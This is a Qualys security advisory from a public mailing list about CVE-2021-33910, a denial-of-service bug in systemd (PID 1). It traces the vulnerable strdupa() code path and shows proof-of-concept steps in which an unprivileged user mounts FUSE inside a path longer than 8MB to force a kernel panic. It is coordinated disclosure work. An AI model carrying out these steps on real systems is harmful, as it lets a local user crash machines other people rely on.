Date: Tue, 20 Jul 2021 12:39:48 +0000
From: Qualys Security Advisory <qsa@...lys.com>
To: "oss-security@...ts.openwall.com" <oss-security@...ts.openwall.com>
Subject: CVE-2021-33910: Denial of service (stack exhaustion) in systemd (PID 1)

Qualys Security Advisory

CVE-2021-33910: Denial of service (stack exhaustion) in systemd (PID 1)

Contents

Summary

In 2018, while working on our exploit for CVE-2018-14634 in the Linux kernel, we accidentally discovered CVE-2018-16864 in systemd (journald); in our "System Down" advisory we wrote: "Surprised by the heavy usage of alloca() in journald, we searched for another attacker-controlled alloca() and found CVE-2018-16865".

Recently, while working on our exploit for CVE-2021-33909 in the Linux kernel, we accidentally stumbled upon CVE-2021-33910 in systemd (PID 1), another attacker-controlled alloca():

https://wiki.sei.cmu.edu/confluence/display/c/MEM05-C.+Avoid+large+stack+allocations

Although attackers cannot exploit this vulnerability as a "Stack Clash" to gain privileges (because the alloca()ted buffer is fully written to), they can exploit it to crash systemd and hence the entire operating system (a kernel panic). Our proof of concept, a 10-line change in FUSE's "hello world" program, is attached to this advisory and is available at:

https://www.qualys.com/research/security-advisories/

To the best of our knowledge, this vulnerability was introduced in systemd v220 (April 2015) by commit 7410616c ("core: rework unit name validation and manipulation logic"), which replaced a strdup() in the heap with a strdupa() on the stack.

Note: a similar vulnerability was discovered in 2019 by Chris Coulson (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6454).

Analysis

systemd monitors and parses the contents of /proc/self/mountinfo, and passes each mountpoint path to mount_setup_unit(), which passes it to unit_name_from_path(), which passes it to unit_name_path_escape():

```
1720 static int mount_load_proc_self_mountinfo(Manager *m, bool set_flags) {
....
1727         r = libmount_parse(NULL, NULL, &table, &iter);
....
1731         for (;;) {
....
1735                 r = mnt_table_next_fs(table, iter, &fs);
....
1742                 path = mnt_fs_get_target(fs);
....
1751                 (void) mount_setup_unit(m, device, path, options, fstype, set_flags);
```

```
1644 static int mount_setup_unit(
1645                 Manager *m,
1646                 const char *what,
1647                 const char *where,
1648                 const char *options,
1649                 const char *fstype,
1650                 bool set_flags) {
....
1683         r = unit_name_from_path(where, ".mount", &e);
```

```
512 int unit_name_from_path(const char *path, const char *suffix, char **ret) {
...
523         r = unit_name_path_escape(path, &p);
```

```
380 int unit_name_path_escape(const char *f, char **ret) {
...
386         p = strdupa(f);
```

At line 386, unit_name_path_escape() passes the mountpoint path to strdupa(), which is similar to strdup() but allocates memory on the stack (via alloca()), not in the heap (via malloc()).

As a result, if the total path length of this mountpoint exceeds 8MB (the default RLIMIT_STACK), then systemd crashes with a segmentation fault that also crashes the entire operating system (a kernel panic, because systemd is the "global init", PID 1).

Proof of concept

- First, as an unprivileged local user, we mount a basic FUSE filesystem (with FUSE's "hello world" program) to /tmp/hello/world:

```
$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

$ mkdir -m 0700 -p /tmp/hello/world

$ ./CVE-2021-33910-crasher /tmp/hello/world

$ grep fuse /proc/self/mountinfo | wc
      2      22     239
```

- Second, we create a deep directory whose total path length exceeds 8MB and move our FUSE filesystem to this directory:

```
------------------------------------------------------------------------
$ ./CVE-2021-33910-crasher /tmp/hello/world /tmp
creating directories, please wait...

$ grep fuse /proc/self/mountinfo | wc
      2       22 8389099
------------------------------------------------------------------------

- Third, to force systemd into re-parsing /proc/self/mountinfo (which
  contains our long directory path), we mount another FUSE filesystem
  and therefore crash systemd and the entire operating system:

------------------------------------------------------------------------
$ mkdir -m 0700 -p /tmp/hello/world

$ ./CVE-2021-33910-crasher /tmp/hello/world

Kernel panic - not syncing: Attempted to kill init!
------------------------------------------------------------------------

- Alternatively, because systemd v248 occasionally fails to monitor
  /proc/self/mountinfo (https://github.com/systemd/systemd/issues/19464)
  we force systemd into auto-mounting a filesystem itself; for example,
  the binfmt_misc filesystem:

------------------------------------------------------------------------
$ systemctl -a list-units '*binfmt_misc*'
  UNIT                            LOAD   ACTIVE   SUB     DESCRIPTION
  proc-sys-fs-binfmt_misc.automount loaded active   waiting Arbitrary...
  proc-sys-fs-binfmt_misc.mount     loaded inactive dead    Arbitrary...

$ cat /proc/sys/fs/binfmt_misc/status

Kernel panic - not syncing: Attempted to kill init!
------------------------------------------------------------------------


========================================================================
Acknowledgments
========================================================================

We thank Red Hat Product Security, systemd's developers, and the members
of linux-distros@...nwall for their work on this coordinated disclosure.
We also thank Mitre's CVE Assignment Team.


========================================================================
Timeline
========================================================================

2021-06-09: We sent our advisories for CVE-2021-33909 and CVE-2021-33910
to Red Hat Product Security (the two vulnerabilities are closely related
and the systemd-security mailing list is hosted by Red Hat).

2021-07-06: We sent our advisories, and Red Hat sent the patches they
wrote, to the linux-distros@...nwall mailing list.

2021-07-20: Coordinated Release Date (12:00 PM UTC).
```

View attachment "CVE-2021-33910-crasher.c**" of type "**text/plain**" (3180 bytes)**